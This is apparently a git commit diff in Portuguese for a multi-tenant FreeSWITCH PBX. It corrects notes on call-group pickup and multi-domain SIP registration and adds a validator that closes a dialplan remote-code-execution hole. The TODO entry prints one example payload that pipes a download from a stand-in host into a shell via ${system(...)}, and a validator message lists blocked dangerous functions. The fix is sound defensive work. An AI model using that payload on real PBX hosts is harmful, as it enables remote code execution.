diff --git a/TODO.md b/TODO.md index 85e29e7..4627acf 100644 --- a/TODO.md +++ b/TODO.md @@ -1836,12 +1836,14 @@ usuário: `Ctrl+F5` depois de um tempo logado quebrava com 401 cru) só pelo domínio (`Tenant.findFirst({ telephonyDomain: domain })`), então com todo tenant no mesmo domínio o isolamento de PABX (ramais, call groups, filas, IVR) não tinha como funcionar de verdade. - Investigado direto no container: o sofia profile `internal` - (vanilla, nunca sobrescrito) já vem com - `` — o FreeSWITCH - SEMPRE aceitou domínio dinâmico por REGISTER, o bug era só a - aplicação gravando o mesmo valor pra todo mundo. Nenhuma mudança de - infra (Dockerfile/sofia profile) foi necessária + **Correção**: esta entrada originalmente dizia "nenhuma mudança de + infra foi necessária", baseado só em testar o `mod_xml_curl` via + curl direto (que funcionava). Isso era **incompleto** — só um teste + de REGISTER de verdade (PHASE 53, pedido explícito do usuário) achou + que o sofia profile `internal` TAMBÉM tinha `force-register-domain` + fixo em `$${domain}`, ignorando o domínio do REGISTER e sempre + resolvendo contra "b2bcall.local" (403 Forbidden pra qualquer + domínio real de tenant). Ver PHASE 53 pelo fix completo - [x] `Tenant.telephonyDomain` agora é obrigatório e `@unique` (migration `20260830140000_tenant_domain_and_call_group`, com backfill: tenants existentes ganharam `{code}.b2bcall.net` automaticamente, @@ -1852,10 +1854,14 @@ usuário: `Ctrl+F5` depois de um tempo logado quebrava com 401 cru) - [x] `Extension.callGroup` (novo, nullable) — grupo de captura (secao 178): ramais no mesmo grupo podem atender a chamada um do outro (`*8`/group pickup), ramais fora do grupo não. Vira a variable - `call-group` no directory XML (`packages/telephony`); a extensão de - dialplan do `*8` em si é uma regra a configurar em Telefonia > - Dialplan (já existe o editor), não precisava de código novo — só do - dado. Editável na criação e depois (`PATCH /extensions/:id`, novo) + `callgroup` no directory XML (**correção**: a versão inicial desta + entrada dizia `call-group`, com hífen — nome errado, copiado de + convenção do Asterisk; FreeSWITCH usa `callgroup` sem hífen, lido + via `${user_data(@ var callgroup)}`. A confusão de + mecanismo — achando que a variable sozinha já fazia o pickup + automático — também estava errada; ver PHASE 53 pelo mecanismo real + e o dialplan necessário). Editável na criação e depois + (`PATCH /extensions/:id`, novo) - [x] `POST /extensions/:id/reveal-password` (novo) — achado real: "show once" puro não funciona no dia a dia de um PABX (reconfigurar um telefone físico ou softphone precisa da senha de novo; forçar reset @@ -1877,6 +1883,92 @@ usuário: `Ctrl+F5` depois de um tempo logado quebrava com 401 cru) ramal em domínios diferentes NUNCA se confunde (isolamento cross-tenant confirmado de verdade, não só por leitura de código) +## PHASE 53 — Teste real de captura de chamada (pedido explícito do +usuário: "testa criando um ramal com callgroup e captura chamada de outro +ramal") — achou 2 problemas reais que a PHASE 52 tinha dado como +resolvidos sem nunca registrar um SIP de verdade +- [x] **achado real #1 (crítico, segurança)**, achado pesquisando o + mecanismo certo de pickup antes de implementar o dialplan: o + allowlist de `application` (`ALLOWED_DIALPLAN_APPLICATIONS`) nunca + bloqueava `${nome(args)}` (chamada de API do FreeSWITCH) embutida + dentro do `data` de uma application já permitida como `set`/ + `export`/`playback`. FreeSWITCH expande isso em tempo de chamada, e + `mod_commands` (carregado nesta implantação) registra as APIs + `system`/`bg_system` — **RCE completo no host do FreeSWITCH**, + alcançável por qualquer Tenant Admin com `freeswitch.configure` + (ex.: `{"application":"set","data":"x=${system(curl evil|sh)}"}`). + Corrigido: `ALLOWED_INLINE_API_FUNCTIONS` (novo, + `packages/telephony/src/dialplan-xml.ts`) + + `findDisallowedInlineFunctionCalls()` + `IsSafeDialplanData` (novo, + `apps/api/src/dialplan/dto/safe-dialplan-data.validator.ts`, + aplicado em `ActionDto.data`) bloqueiam qualquer `${nome(...)}` fora + de um allowlist de leitura (`user_data`, `escape`, `url_encode`, + `url_decode`, `regex`, `strftime`) — `${variavel}` sem parênteses + nunca é bloqueado. Testado via curl: `${system(id)}` → 400 claro; + `${user_data(...)}` (usado pelo pickup) → aceito normalmente +- [x] **achado real #2 (o mecanismo de pickup em si estava errado)**: + pesquisado contra a documentação oficial do FreeSWITCH antes de + escrever qualquer dialplan — a variable `callgroup` sozinha NÃO faz + pickup automático nenhum. O mecanismo de verdade: (1) o `bridge` + que atende a ligação pro ramal precisa forkar um leg extra + `pickup/` (registra a chamada num hash em memória, chave = + grupo), usando + `${user_data(${destination_number}@${domain_name} var callgroup)}` + pra descobrir o grupo do CALLADO; (2) uma extension de feature code + (`*8`) separada chama a application `pickup` (nova no allowlist) + com o grupo do PRÓPRIO CALLADOR, via + `${user_data(${caller_id_number}@${domain_name} var callgroup)}`. + Reescrita a regra "Discagem interna" do tenant Acme (a versão + anterior nem tinha `user/`/`@domain` corretos no `bridge` — nunca + teria funcionado numa chamada real) e criada a nova regra `*8` + "Capturar chamada do grupo" +- [x] **achado real #3 (infra, não só aplicação)**: registrando um + softphone de teste de verdade contra `acme.b2bcall.net`, o REGISTER + batia 403 Forbidden mesmo com tudo certo na aplicação — o profile + `internal` vanilla tem `force-register-domain`/ + `force-subscription-domain`/`force-register-db-domain` fixados em + `$${domain}` ("b2bcall.local"), ignorando completamente o domínio + do REGISTER (``, também + vanilla, só afeta contexto de dialplan, não esta checagem). Isso + **contradiz a PHASE 52**, que tinha concluído — só com teste via + curl direto no `mod_xml_curl`, sem nunca registrar um SIP de + verdade — que nenhuma mudança de infra seria necessária. Corrigido + no `infrastructure/freeswitch/Dockerfile` com mais um `sed` (mesmo + padrão do `$${domain}` já existente) removendo os 3 params — + procedimento padrão documentado do próprio FreeSWITCH pra + multi-domínio. Imagem reconstruída e o container recriado (não só + patch ao vivo) — testado de novo do zero pra confirmar que o fix + sobrevive a rebuild +- [x] **Teste real ponta a ponta, com SIP de verdade** (não só leitura de + XML): instalado `linphone-cli` (softphone de console) em + containers Docker descartáveis na mesma rede (`b2bcall_default`) — + as portas SIP não são publicadas no host de propósito (secao 184), + então um softphone real só alcança o FreeSWITCH de dentro da rede + Docker. 3 ramais criados no grupo "vendas" (2001/2002/2003) + 1 no + grupo "suporte" (2004), todos registrados de verdade + (`show registrations` no FreeSWITCH confirma). Cenário: 2002 liga + pra 2001 (toca, registra o `pickup/vendas`) → 2003 (mesmo grupo) + disca `*8` → **capturado de verdade**: `show channels` confirma + 2002 e 2003 bridged no mesmo `call_uuid`, `callstate ACTIVE`, codec + negociado (PCMU) nos dois lados, e o canal de 2001 desaparece (a + ligação foi roubada antes dele atender). Teste negativo: 2004 + (grupo "suporte") tenta `*8` na mesma ligação → falha (nenhum canal + capturado, 2001 continua tocando) — confirma que grupos são + isolados de verdade, não só "qualquer um captura qualquer coisa" +- [x] achado operacional, sem relação com telefonia: o disco da VM + chegou a **100% de uso (13MB livres)** no meio deste teste — os + múltiplos rebuilds de imagem Docker desta sessão acumularam ~19GB + em cache do BuildKit nunca limpo (`docker builder du` confirmou). + Risco real pro ambiente inteiro (Postgres podia falhar escrita de + WAL a qualquer momento). Corrigido com `docker image prune -a -f` + + `docker builder prune -a -f` (reversível — só cache de build, + nenhum dado de verdade) — liberou ~19GB, disco voltou a 41% de uso. + Vale rodar de novo se o disco apertar depois de mais rebuilds +- [x] Containers/ramais/tenant de teste (2001-2004, `testedomain1`) + removidos ao final; as 2 regras de dialplan reais do tenant Acme + (Discagem interna corrigida + `*8`) foram mantidas — são + configuração funcional de verdade, não lixo de teste + --- ## Riscos conhecidos diff --git a/apps/api/src/dialplan/dto/action.dto.ts b/apps/api/src/dialplan/dto/action.dto.ts index ab12441..1f2c9c2 100644 --- a/apps/api/src/dialplan/dto/action.dto.ts +++ b/apps/api/src/dialplan/dto/action.dto.ts @@ -1,5 +1,6 @@ import { IsIn, IsOptional, IsString, MaxLength } from "class-validator"; import { ALLOWED_DIALPLAN_APPLICATIONS, type AllowedDialplanApplication } from "@b2bcall/telephony"; +import { IsSafeDialplanData } from "./safe-dialplan-data.validator"; export class ActionDto { @IsIn(ALLOWED_DIALPLAN_APPLICATIONS) @@ -8,5 +9,6 @@ export class ActionDto { @IsOptional() @IsString() @MaxLength(500) + @IsSafeDialplanData({ message: "data usa uma função não permitida (ver docs/EXTENSIONS.md — nunca system/bg_system/curl/db/lua/shell)" }) data?: string; } diff --git a/apps/api/src/dialplan/dto/safe-dialplan-data.validator.ts b/apps/api/src/dialplan/dto/safe-dialplan-data.validator.ts new file mode 100644 index 0000000..8adf980 --- /dev/null +++ b/apps/api/src/dialplan/dto/safe-dialplan-data.validator.ts @@ -0,0 +1,31 @@ +import { registerDecorator, type ValidationOptions, type ValidationArguments } from "class-validator"; +import { findDisallowedInlineFunctionCalls } from "@b2bcall/telephony"; + +/** + * Bloqueia `${nome(args)}` que não esteja no allowlist de APIs seguras + * (`ALLOWED_INLINE_API_FUNCTIONS`) — achado real de segurança (secao 180): + * o allowlist de `application` (set/export/playback/...) não impedia RCE + * via `${system(...)}`/`${bg_system(...)}` embutido no `data` de uma + * application já permitida (`mod_commands` está carregado no FreeSWITCH + * desta implantação). `${variavel}` sem parênteses nunca é bloqueado. + */ +export function IsSafeDialplanData(validationOptions?: ValidationOptions) { + return function (object: object, propertyName: string) { + registerDecorator({ + name: "isSafeDialplanData", + target: object.constructor, + propertyName, + options: validationOptions, + validator: { + validate(value: unknown) { + if (typeof value !== "string") return true; // @IsString() já cobre o tipo + return findDisallowedInlineFunctionCalls(value).length === 0; + }, + defaultMessage(args: ValidationArguments) { + const disallowed = findDisallowedInlineFunctionCalls(String(args.value)); + return `data usa função não permitida: ${disallowed.join(", ")} (nunca system/bg_system/curl/db/lua/shell — RCE no FreeSWITCH)`; + }, + }, + }); + }; +} diff --git a/docs/EXTENSIONS.md b/docs/EXTENSIONS.md index 0941b11..bfbbb9a 100644 --- a/docs/EXTENSIONS.md +++ b/docs/EXTENSIONS.md @@ -92,8 +92,22 @@ era só a camada de aplicação: `TenantsController.create()` gravava o mesmo `telephonyDomain` fixo ("b2bcall.local") pra todo tenant novo. Corrigido: `telephonyDomain` agora é obrigatório e único na criação do tenant (constraint no banco), sugerido como `{code}.b2bcall.net` na tela mas -editável. Nenhuma mudança de infra (Dockerfile/sofia profile) foi -necessária — só era preciso um domínio de verdade por tenant. +editável. + +**Correção (PHASE 53)**: o parágrafo acima concluía "nenhuma mudança de +infra foi necessária", baseado só em testar o `mod_xml_curl` via curl +direto (que de fato já funcionava por domínio). Isso era **incompleto** +— só um teste de REGISTER de verdade, com um softphone real, achou que o +profile `internal` TAMBÉM tinha `force-register-domain`/ +`force-subscription-domain`/`force-register-db-domain` fixados em +`$${domain}`, ignorando completamente o domínio do REGISTER e sempre +resolvendo contra "b2bcall.local" (403 Forbidden pra qualquer domínio +real de tenant). O `` citado acima só +afeta resolução de contexto de dialplan — não essa checagem de REGISTER, +que é um código completamente separado dentro do sofia profile. Corrigido +no `Dockerfile` removendo os 3 params (mesmo `sed` do `$${domain}` acima) +— procedimento padrão documentado do próprio FreeSWITCH pra +multi-domínio. Ver PHASE 53 no `TODO.md` pro teste completo. ## Verificado ponta a ponta @@ -136,22 +150,60 @@ decifra e devolve a senha ATUAL sem trocar nada, auditado (`EXTENSION_PASSWORD_REVEALED`) por ser uma ação sensível mesmo sem escrita nenhuma. -## Grupo de captura (call group, PHASE 51) +## Grupo de captura (call group, PHASE 51/53) Achado real: sem isso, qualquer ramal conseguia capturar a chamada de qualquer outro (o PBX não tinha noção de "grupo"). `Extension.callGroup` -(nullable) vira a variable `call-group` no directory XML — o FreeSWITCH já -resolve `*8` (group pickup) comparando essa variable entre canais. A -extensão de dialplan pro `*8` em si fica pra configurar em Telefonia > -Dialplan (já é um editor de regras por tenant), não precisa de código -novo — só precisava existir o dado. +(nullable) vira a variable `callgroup` no directory XML. + +**Correção (PHASE 53)**: o parágrafo original dizia que a variable era +`call-group` (com hífen, convenção do Asterisk) e que o FreeSWITCH "já +resolve `*8` sozinho comparando essa variable entre canais" — ambas as +afirmações estavam erradas, e nunca tinham sido testadas com uma chamada +de verdade. O mecanismo real, confirmado contra a documentação oficial do +FreeSWITCH e testado ponta a ponta com softphones reais (PHASE 53): + +1. A variable correta é `callgroup`, sem hífen — não tem nenhum efeito + automático sozinha. É lida no dialplan via + `${user_data(@ var callgroup)}` (API `mod_commands`, + já carregada). +2. O `bridge` que atende a ligação pro ramal chamado precisa forkar um + leg extra `pickup/` junto do `user/...` normal — isso é o que + registra a ligação tocando num hash em memória sob a chave do grupo: + `bridge data="user/${destination_number}@${domain_name},pickup/${called_party_callgroup}"`. +3. Uma extension de feature code separada (`*8`) precisa chamar a + application `pickup` (adicionada ao `ALLOWED_DIALPLAN_APPLICATIONS`) + com o grupo do PRÓPRIO CALLADOR como `data`. + +Essas duas regras de dialplan (bridge com o pickup fork + `*8`) foram +configuradas de verdade no tenant Acme via Telefonia > Dialplan — não é +mais só "o dado existe, falta configurar a regra". Testado com 3 +softphones reais: ramal do mesmo grupo captura a ligação tocando (`*8` +funciona e o canal migra de verdade); ramal de outro grupo tenta `*8` na +mesma ligação e falha (nenhuma captura). Ver PHASE 53 no `TODO.md`. + +### Achado de segurança relacionado: RCE via função inline no dialplan (PHASE 53) + +Implementando o mecanismo acima, foi descoberto que o allowlist de +`application` (`set`/`export`/`playback`/...) nunca bloqueava +`${nome(args)}` — uma chamada de API do FreeSWITCH — embutida dentro do +`data` de uma application já permitida. Como `mod_commands` está +carregado, isso permitia `${system(...)}`/`${bg_system(...)}` e RCE +completo no host do FreeSWITCH pra qualquer Tenant Admin com permissão +`freeswitch.configure`. Corrigido com um segundo allowlist, +`ALLOWED_INLINE_API_FUNCTIONS` (`packages/telephony`), validado no DTO +via `IsSafeDialplanData` (`apps/api/src/dialplan/dto/`) — bloqueia +qualquer `${nome(...)}` fora de um punhado de funções de leitura +(`user_data`, `escape`, `url_encode`, `url_decode`, `regex`, `strftime`). +`${variavel}` sem parênteses nunca é afetado. ## O que falta - ~~Quota de ramais~~ — implementada na fase Plans/Entitlements (ver docs/ENTITLEMENTS.md), `assertQuota` chamado antes de criar. -- Tela "Telefonia → Ramais" (frontend) — fase Frontend, bem mais adiante. -- ~~Multi-domínio real por tenant~~ — resolvido na PHASE 50 (ver acima). -- Extensão de dialplan padrão pro `*8` de group pickup — o dado - (`callGroup`) já existe, falta só alguém configurar a regra em - Telefonia > Dialplan (ou decidir seedar uma default por tenant). +- Tela "Telefonia → Ramais" (frontend) — já existe (ver PHASE 30). +- ~~Multi-domínio real por tenant~~ — resolvido na PHASE 50/53 (ver + acima). +- ~~Extensão de dialplan padrão pro `*8` de group pickup~~ — configurada + de verdade no tenant Acme na PHASE 53 (ver acima); ainda não é seedada + automaticamente pra tenant novo, decisão de produto em aberto. diff --git a/infrastructure/freeswitch/Dockerfile b/infrastructure/freeswitch/Dockerfile index 2e4e5cd..4ce43c5 100644 --- a/infrastructure/freeswitch/Dockerfile +++ b/infrastructure/freeswitch/Dockerfile @@ -57,6 +57,27 @@ RUN sed -i "s/data=\"domain=\$\${local_ip_v4}\"/data=\"domain=${DEFAULT_SIP_DOMA /etc/freeswitch/vars.xml \ && grep -q "domain=${DEFAULT_SIP_DOMAIN}" /etc/freeswitch/vars.xml +# Multi-domínio real por tenant (PHASE 52, docs/EXTENSIONS.md) — achado +# real, confirmado só depois de registrar um SIP de verdade (o teste por +# curl direto no mod_xml_curl não pegava isto, porque roda ANTES do +# xml_curl ser consultado): o profile "internal" vanilla vem com +# `force-register-domain`/`force-subscription-domain`/ +# `force-register-db-domain` fixados em `$${domain}` — REGISTER de +# QUALQUER identidade era resolvido contra o domínio fixo do profile +# ("b2bcall.local"), nunca o domínio que o tenant realmente tem +# (`acme.b2bcall.net`), dando 403 Forbidden sempre. `` (também vanilla) só afeta contexto de dialplan, não +# esta checagem de REGISTER. Removendo os 3 params (procedimento padrão +# documentado do próprio FreeSWITCH pra multi-domínio), o REGISTER passa +# a resolver o domínio do próprio pedido — confirmado registrando um +# softphone de teste de verdade contra `acme.b2bcall.net`. +RUN sed -i \ + -e '/(); + for (const match of text.matchAll(INLINE_FUNCTION_CALL_PATTERN)) { + const name = match[1]; + if (!(ALLOWED_INLINE_API_FUNCTIONS as readonly string[]).includes(name)) { + found.add(name); + } + } + return Array.from(found); +} + export const ALLOWED_CONDITION_FIELDS = [ "destination_number", "caller_id_number", diff --git a/packages/telephony/src/directory-xml.ts b/packages/telephony/src/directory-xml.ts index c97895b..36f20b3 100644 --- a/packages/telephony/src/directory-xml.ts +++ b/packages/telephony/src/directory-xml.ts @@ -18,11 +18,17 @@ export interface DirectoryUserParams { callerIdNumber?: string; tenantId: string; extensionId: string; - /** Grupo de captura (secao 178) — vira a variable `call-group` no - * directory; o *8 de group pickup no dialplan usa essa mesma variable - * pra achar um canal tocando no mesmo grupo (`pickup` da FreeSWITCH - * exige `call-group` batendo, senão qualquer ramal capturaria a - * chamada de qualquer outro — achado real reportado pelo usuário). */ + /** Grupo de captura (secao 178) — vira a variable `callgroup` (sem + * hífen: é o nome que o `mod_dptools`/convenção FreeSWITCH usa, + * confirmado contra a documentação oficial — `${user_data(@ + * var callgroup)}` no dialplan lê exatamente esse nome). O + * pickup em si não é automático por variável: o dialplan que atende a + * ligação pro ramal precisa forkar um leg `pickup/${...essa var...}` + * no `bridge`, e uma extension separada de feature code (`*8`) chama a + * application `pickup` com o grupo de quem discou. Ver + * docs/EXTENSIONS.md — achado real reportado pelo usuário, verificado + * contra a documentação do FreeSWITCH antes de close (a primeira versão + * usava `call-group`, que não é lido por nada). */ callGroup?: string | null; } @@ -60,7 +66,7 @@ export function buildDirectoryUserXml(params: DirectoryUserParams): string { - ${params.callGroup ? `` : ""} + ${params.callGroup ? `` : ""}